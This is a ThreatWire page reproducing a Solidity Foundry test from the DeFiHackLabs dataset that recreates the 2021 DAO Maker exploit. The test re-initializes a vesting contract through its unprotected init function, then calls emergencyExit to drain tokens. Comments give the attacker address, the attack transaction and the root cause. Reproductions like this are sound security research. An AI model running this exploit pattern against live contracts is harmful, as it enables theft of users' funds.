Skip to content
THREATWIRE

Public reproduction file

src/test/2021-09/DaoMaker_exp.sol

Public reproduction file for dataset entry DAO Maker.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2021-09/DaoMaker_exp.sol51 lines
1// SPDX-License-Identifier: GPL-3.0
2
3pragma solidity ^0.8.13;
4
5import "forge-std/Test.sol";
6import "./../interface.sol";
7/*
8 Attacker: 0x2708cace7b42302af26f1ab896111d87faeff92f
9 Attack tx: https://etherscan.io/tx/0x96bf6bd14a81cf19939c0b966389daed778c3a9528a6c5dd7a4d980dec966388
10 Affected contracts:
11 0x6e70c88be1d5c2a4c0c8205764d01abe6a3d2e22 - emergencyExit with 13.5M CAPS
12 0xd6c8dd834abeeefa7a663c1265ce840ca457b1ec - emergencyExit with 2.5M CPD, twice
13 0xdd571023d95ff6ce5716bf112ccb752e86212167 - emergencyExit with 1.44M DERC
14 0xa43b89d5e7951d410585360f6808133e8b919289 - emergencyExit with approx 20.6M SHO
15 Root cause: They left the `init` function unprotected. The attacker re-initialized the contract with
16 malicious data and then called `emergencyExit` to get away with the funds.*/
18interface DAOMaker {
19 function init(uint256, uint256[] calldata, uint256[] calldata, address) external;
20 function emergencyExit(
21 address
22 ) external;
25contract ContractTest is Test {
26 DAOMaker daomaker = DAOMaker(0x2FD602Ed1F8cb6DEaBA9BEDd560ffE772eb85940);
27 IERC20 DERC = IERC20(0x9fa69536d1cda4A04cFB50688294de75B505a9aE);
29 function setUp() public {
30 vm.createSelectFork("mainnet", 13_155_320); // fork mainnet block number 13155320
31 }
33 function testExploit() public {
34 uint256[] memory releasePeriods = new uint256[](1);
35 releasePeriods[0] = 5_702_400;
36 uint256[] memory releasePercents = new uint256[](1);
37 releasePercents[0] = 10_000;
39 emit log_named_decimal_uint("Before exploiting, Attacker DERC balance", DERC.balanceOf(address(this)), 18);
41 // initialize to become contract owner
42 daomaker.init(1_640_984_401, releasePeriods, releasePercents, 0x9fa69536d1cda4A04cFB50688294de75B505a9aE);
44 // call emergencyExit to drain out the token.
45 daomaker.emergencyExit(address(this));
47 emit log_named_decimal_uint("After exploiting, Attacker DERC balance", DERC.balanceOf(address(this)), 18);
48 }
50 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “DAO Maker” (2021-09-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

6 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
DAO Maker
Path
src/test/2021-09/DaoMaker_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
bf25962aeb0f8609f0dad6e68f15d5183bd1f7f4
Language
Solidity
Size
52 lines
Date
2021-09-03
Licence
file header GPL-3.0; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2021-09/DaoMaker_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bf25962aeb0f8609f0dad6e68f15d5183bd1f7f4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.